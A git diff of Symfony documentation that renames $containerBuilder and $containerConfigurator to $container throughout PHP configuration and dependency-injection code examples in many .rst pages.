+    $container->compile();
 
 .. note::
 
@@ -132,7 +132,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -158,7 +158,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -219,13 +219,13 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
-        $containerBuilder->setParameter('acme_demo.FOO', $config['foo']);
+        $container->setParameter('acme_demo.FOO', $config['foo']);
 
         // ...
     }
@@ -234,14 +234,14 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
         $loader = new XmlFileLoader(
-            $containerBuilder,
+            $container,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -263,11 +263,11 @@ file but also load a secondary one only if a certain parameter is set::
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         $extension = new AcmeDemoExtension();
-        $containerBuilder->registerExtension($extension);
-        $containerBuilder->loadFromExtension($extension->getAlias());
-        $containerBuilder->compile();
+        $container->registerExtension($extension);
+        $container->loadFromExtension($extension->getAlias());
+        $container->compile();
 
 .. note::
 
@@ -292,11 +292,11 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $containerBuilder)
+        public function prepend(ContainerBuilder $container)
         {
             // ...
 
-            $containerBuilder->prependExtensionConfig($name, $config);
+            $container->prependExtensionConfig($name, $config);
 
             // ...
         }
@@ -323,7 +323,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder)
+        public function process(ContainerBuilder $container)
         {
             // ... do something during the compilation
         }
@@ -377,7 +377,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder)
+        public function process(ContainerBuilder $container)
         {
             // ... do something during the compilation
         }
@@ -387,8 +387,8 @@ You then need to register your custom pass with the container::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->addCompilerPass(new CustomPass());
+    $container = new ContainerBuilder();
+    $container->addCompilerPass(new CustomPass());
 
 .. note::
 
@@ -418,7 +418,7 @@ For example, to run your custom pass after the default removal passes have
 been run, use::
 
     // ...
-    $containerBuilder->addCompilerPass(
+    $container->addCompilerPass(
         new CustomPass(),
         PassConfig::TYPE_AFTER_REMOVING
     );
@@ -460,11 +460,11 @@ serves at dumping the compiled container::
         require_once $file;
         $container = new ProjectServiceContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         file_put_contents($file, $dumper->dump());
     }
 
@@ -487,11 +487,11 @@ dump it::
         require_once $file;
         $container = new MyCachedContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         file_put_contents(
             $file,
             $dumper->dump(['class' => 'MyCachedContainer'])
@@ -519,12 +519,12 @@ application::
         require_once $file;
         $container = new MyCachedContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
         if (!$isDebug) {
-            $dumper = new PhpDumper($containerBuilder);
+            $dumper = new PhpDumper($container);
             file_put_contents(
                 $file,
                 $dumper->dump(['class' => 'MyCachedContainer'])
@@ -554,14 +554,14 @@ for these resources and use them as metadata for the cache::
     $containerConfigCache = new ConfigCache($file, $isDebug);
 
     if (!$containerConfigCache->isFresh()) {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         $containerConfigCache->write(
             $dumper->dump(['class' => 'MyCachedContainer']),
-            $containerBuilder->getResources()
+            $container->getResources()
         );
     }
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 5459d27bdb3..1e281c084b0 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -186,22 +186,22 @@ determine which instance is passed.
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
-        $containerBuilder = new ContainerBuilder(new ParameterBag());
+        $container = new ContainerBuilder(new ParameterBag());
         // register the compiler pass that handles the 'kernel.event_listener'
         // and 'kernel.event_subscriber' service tags
-        $containerBuilder->addCompilerPass(new RegisterListenersPass());
+        $container->addCompilerPass(new RegisterListenersPass());
 
-        $containerBuilder->register('event_dispatcher', EventDispatcher::class);
+        $container->register('event_dispatcher', EventDispatcher::class);
 
         // registers an event listener
-        $containerBuilder->register('listener_service_id', \AcmeListener::class)
+        $container->register('listener_service_id', \AcmeListener::class)
             ->addTag('kernel.event_listener', [
                 'event' => 'acme.foo.action',
                 'method' => 'onFooAction',
             ]);
 
         // registers an event subscriber
-        $containerBuilder->register('subscriber_service_id', \AcmeSubscriber::class)
+        $container->register('subscriber_service_id', \AcmeSubscriber::class)
             ->addTag('kernel.event_subscriber');
 
     ``RegisterListenersPass`` resolves aliased class names which for instance
@@ -218,16 +218,16 @@ determine which instance is passed.
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
-        $containerBuilder = new ContainerBuilder(new ParameterBag());
-        $containerBuilder->addCompilerPass(new AddEventAliasesPass([
+        $container = new ContainerBuilder(new ParameterBag());
+        $container->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
+        $container->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
-        $containerBuilder->register('event_dispatcher', EventDispatcher::class);
+        $container->register('event_dispatcher', EventDispatcher::class);
 
         // registers an event listener
-        $containerBuilder->register('listener_service_id', \AcmeListener::class)
+        $container->register('listener_service_id', \AcmeListener::class)
             ->addTag('kernel.event_listener', [
                 // will be translated to 'acme.foo.action' by RegisterListenersPass.
                 'event' => \AcmeFooActionEvent::class,
diff --git a/components/serializer.rst b/components/serializer.rst
index cf09f0b7992..29c008ce2c4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -998,8 +998,8 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
                     ->tag('serializer.normalizer')
diff --git a/components/uid.rst b/components/uid.rst
index ccd567f6ccf..1731c392dba 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -126,13 +126,13 @@ configure the behavior of the factory using configuration files::
         // config/packages/uid.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $services = $containerConfigurator->services()
+        return static function (ContainerConfigurator $container): void {
+            $services = $container->services()
                 ->defaults()
                 ->autowire()
                 ->autoconfigure();
 
-            $containerConfigurator->extension('framework', [
+            $container->extension('framework', [
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
@@ -568,7 +568,7 @@ configuration in your application before using these commands:
         use Symfony\Component\Uid\Command\InspectUlidCommand;
         use Symfony\Component\Uid\Command\InspectUuidCommand;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
+        return static function (ContainerConfigurator $container): void {
             // ...
 
             $services
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b0d3bc6ea1..e8a4d18d0c7 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -144,8 +144,8 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('debug', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
         };
diff --git a/configuration.rst b/configuration.rst
index c56b895da8b..79d014f9170 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -73,18 +73,18 @@ shown in these three formats.
         {
             // ...
 
-            private function configureContainer(ContainerConfigurator $containerConfigurator): void
+            private function configureContainer(ContainerConfigurator $container): void
             {
                 $configDir = $this->getConfigDir();
 
-                $containerConfigurator->import($configDir.'/{packages}/*.{yaml,php}');
-                $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
                 if (is_file($configDir.'/services.yaml')) {
-                    $containerConfigurator->import($configDir.'/services.yaml');
-                    $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                    $container->import($configDir.'/services.yaml');
+                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
                 } else {
-                    $containerConfigurator->import($configDir.'/{services}.php');
+                    $container->import($configDir.'/{services}.php');
                 }
             }
         }
@@ -158,17 +158,17 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->import('legacy_config.php');
+        return static function (ContainerConfigurator $container) {
+            $container->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
-            $containerConfigurator->import('/etc/myapp/*.yaml');
+            $container->import('/etc/myapp/*.yaml');
 
             // the third optional argument of import() is 'ignore_errors'
             // 'ignore_errors' set to 'not_found' silently discards errors if the loaded file doesn't exist
-            $containerConfigurator->import('my_config_file.yaml', null, 'not_found');
+            $container->import('my_config_file.yaml', null, 'not_found');
             // 'ignore_errors' set to true silently discards all errors (including invalid code and not found)
-            $containerConfigurator->import('my_config_file.yaml', null, true);
+            $container->import('my_config_file.yaml', null, true);
         };
 
         // ...
@@ -257,8 +257,8 @@ reusable configuration value. By convention, parameters are defined under the
 
         use App\Entity\BlogPost;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
                 ->set('app.admin_email', 'something@example.com')
@@ -329,8 +329,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('some_package', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
 
@@ -366,8 +366,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->parameters()
+            return static function (ContainerConfigurator $container) {
+                $container->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
 
@@ -502,7 +502,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $containerConfigurator) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -510,12 +510,12 @@ files directly in the ``config/packages/`` directory.
                 ;
 
                 // cache is enabled only in the "prod" environment
-                if ('prod' === $containerConfigurator->env()) {
+                if ('prod' === $container->env()) {
                     $webpackEncore->cache(true);
                 }
 
                 // disable strict mode only in the "test" environment
-                if ('test' === $containerConfigurator->env()) {
+                if ('test' === $container->env()) {
                     $webpackEncore->strictMode(false);
                 }
             };
@@ -633,7 +633,7 @@ This example shows how you could configure the application secret using an env v
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
+        return static function (ContainerConfigurator $container) {
             $container->extension('framework', [
                 // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
@@ -989,8 +989,8 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 ->set('app.contents_dir', '...');
 
             $container->services()
@@ -1046,8 +1046,8 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 358f3989a69..cc6782baabb 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -104,8 +104,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(SECRET)', 'some_secret');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
 
@@ -150,8 +150,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
 
@@ -242,8 +242,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
-                $containerBuilder->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
                     ->methods([env('HEALTH_CHECK_METHOD')->const()]);
@@ -293,8 +293,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
             };
 
@@ -379,8 +379,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ce4b0ac46c2..185d301a657 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -43,10 +43,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
             ];
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
             // PHP equivalent of config/packages/framework.yaml
-            $containerConfigurator->extension('framework', [
+            $container->extension('framework', [
                 'secret' => 'S0ME_SECRET'
             ]);
         }
@@ -88,7 +88,7 @@ that define your bundles, your services and your routes:
 **registerBundles()**
     This is the same ``registerBundles()`` that you see in a normal kernel.
 
-**configureContainer(ContainerConfigurator $containerConfigurator)**
+**configureContainer(ContainerConfigurator $container)**
     This method builds and configures the container. In practice, you will use
     ``extension()`` to configure different bundles (this is the equivalent
     of what you see in a normal ``config/packages/*`` file). You can also register
@@ -191,12 +191,12 @@ hold the kernel. Now it looks like this::
             return $bundles;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $containerConfigurator->import(__DIR__.'/../config/framework.yaml');
+            $container->import(__DIR__.'/../config/framework.yaml');
 
             // register all classes in /src/ as service
-            $containerConfigurator->services()
+            $container->services()
                 ->load('App\\', __DIR__.'/*')
                 ->autowire()
                 ->autoconfigure()
@@ -204,7 +204,7 @@ hold the kernel. Now it looks like this::
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $containerConfigurator->extension('web_profiler', [
+                $container->extension('web_profiler', [
                     'toolbar' => true,
                     'intercept_redirects' => false,
                 ]);
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index cc50c27a1d4..9464fcf39f7 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -164,12 +164,12 @@ resources::
             return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
             // load common config files, such as the framework.yaml, as well as
             // specific configs required exclusively for the app itself
-            $this->doConfigureContainer($containerConfigurator, $this->getSharedConfigDir());
-            $this->doConfigureContainer($containerConfigurator, $this->getAppConfigDir());
+            $this->doConfigureContainer($container, $this->getSharedConfigDir());
+            $this->doConfigureContainer($container, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -180,16 +180,16 @@ resources::
             $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        private function doConfigureContainer(ContainerConfigurator $containerConfigurator, string $configDir): void
+        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
         {
-            $containerConfigurator->import($configDir.'/{packages}/*.{php,yaml}');
-            $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
 
             if (is_file($configDir.'/services.yaml')) {
-                $containerConfigurator->import($configDir.'/services.yaml');
-                $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
             } else {
-                $containerConfigurator->import($configDir.'/{services}.php');
+                $container->import($configDir.'/{services}.php');
             }
         }
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 9eb629b4b20..05008114e01 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -135,9 +135,9 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $containerBuilder)
+        public function getConfiguration(array $config, ContainerBuilder $container)
         {
-            return new Configuration($containerBuilder->getParameter('kernel.debug'));
+            return new Configuration($container->getParameter('kernel.debug'));
         }
     }
 
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index 553490c845e..6d1f245eb75 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -68,13 +68,13 @@ with command names as keys and service identifiers as values::
     use Symfony\Component\Console\CommandLoader\ContainerCommandLoader;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->register(FooCommand::class, FooCommand::class);
-    $containerBuilder->compile();
+    $container = new ContainerBuilder();
+    $container->register(FooCommand::class, FooCommand::class);
+    $container->compile();
 
-    $commandLoader = new ContainerCommandLoader($containerBuilder, [
+    $commandLoader = new ContainerCommandLoader($container, [
         'app:foo' => FooCommand::class,
     ]);
 
 Like this, executing the ``app:foo`` command will load the ``FooCommand`` service
-by calling ``$containerBuilder->get(FooCommand::class)``.
+by calling ``$container->get(FooCommand::class)``.
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index fcbe012ef33..eb100c258f0 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -230,8 +230,8 @@ and adding a priority.
 
         use App\ArgumentResolver\UserValueResolver;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(UserValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 50])
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 0e5beb84eb3..886c772d98a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -319,8 +319,8 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(FileUploader::class)
                 ->arg('$targetDirectory', '%brochures_directory%')
diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index cd20a947251..de3c4e11e4e 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -109,30 +109,30 @@ Create a new file to host the dependency injection container configuration::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    $containerBuilder = new DependencyInjection\ContainerBuilder();
-    $containerBuilder->register('context', Routing\RequestContext::class);
-    $containerBuilder->register('matcher', Routing\Matcher\UrlMatcher::class)
+    $container = new DependencyInjection\ContainerBuilder();
+    $container->register('context', Routing\RequestContext::class);
+    $container->register('matcher', Routing\Matcher\UrlMatcher::class)
         ->setArguments([$routes, new Reference('context')])
     ;
-    $containerBuilder->register('request_stack', HttpFoundation\RequestStack::class);
-    $containerBuilder->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class);
-    $containerBuilder->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class);
+    $container->register('request_stack', HttpFoundation\RequestStack::class);
+    $container->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class);
+    $container->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class);
 
-    $containerBuilder->register('listener.router', HttpKernel\EventListener\RouterListener::class)
+    $container->register('listener.router', HttpKernel\EventListener\RouterListener::class)
         ->setArguments([new Reference('matcher'), new Reference('request_stack')])
     ;
-    $containerBuilder->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
+    $container->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
         ->setArguments(['UTF-8'])
     ;
-    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
+    $container->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
         ->setArguments(['Calendar\Controller\ErrorController::exception'])
     ;
-    $containerBuilder->register('dispatcher', EventDispatcher\EventDispatcher::class)
+    $container->register('dispatcher', EventDispatcher\EventDispatcher::class)
         ->addMethodCall('addSubscriber', [new Reference('listener.router')])
         ->addMethodCall('addSubscriber', [new Reference('listener.response')])
         ->addMethodCall('addSubscriber', [new Reference('listener.exception')])
     ;
-    $containerBuilder->register('framework', Framework::class)
+    $container->register('framework', Framework::class)
         ->setArguments([
             new Reference('dispatcher'),
             new Reference('controller_resolver'),
@@ -141,7 +141,7 @@ Create a new file to host the dependency injection container configuration::
         ])
     ;
 
-    return $containerBuilder;
+    return $container;
 
 The goal of this file is to configure your objects and their dependencies.
 Nothing is instantiated during this configuration step. This is purely a
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 729e266db3d..80506081fbe 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -224,8 +224,8 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             // listeners are applied by default to all Doctrine connections
             $services->set(SearchIndexer::class)
@@ -357,8 +357,8 @@ with the ``doctrine.orm.entity_listener`` tag:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(UserChangedNotifier::class)
                 ->tag('doctrine.orm.entity_listener', [
@@ -498,8 +498,8 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(DatabaseActivitySubscriber::class)
                 ->tag('doctrine.event_subscriber'[
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c04e309eb46..a1e26412a85 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -91,8 +91,8 @@ notify Symfony that it is an event listener by using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(ExceptionListener::class)
                 ->tag('kernel.event_listener')
@@ -383,9 +383,9 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $containerBuilder)
+        protected function build(ContainerBuilder $container)
         {
-            $containerBuilder->addCompilerPass(new AddEventAliasesPass([
+            $container->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
             ]));
         }
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index cdd4c6664be..ae64738e2df 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -141,8 +141,8 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(GulpBusterVersionStrategy::class)
                 ->args(
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 48d451d3154..76c13ab975b 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -123,8 +123,8 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
         use App\CacheKernel;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CacheKernel::class)
                 ->decorate('http_cache')
diff --git a/mailer.rst b/mailer.rst
index ee69bd3b123..cdb6a259ede 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -57,8 +57,8 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $containerConfigurator->extension('framework', [
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
                 'mailer' => [
                     'dsn' => env('MAILER_DSN'),
                 ],
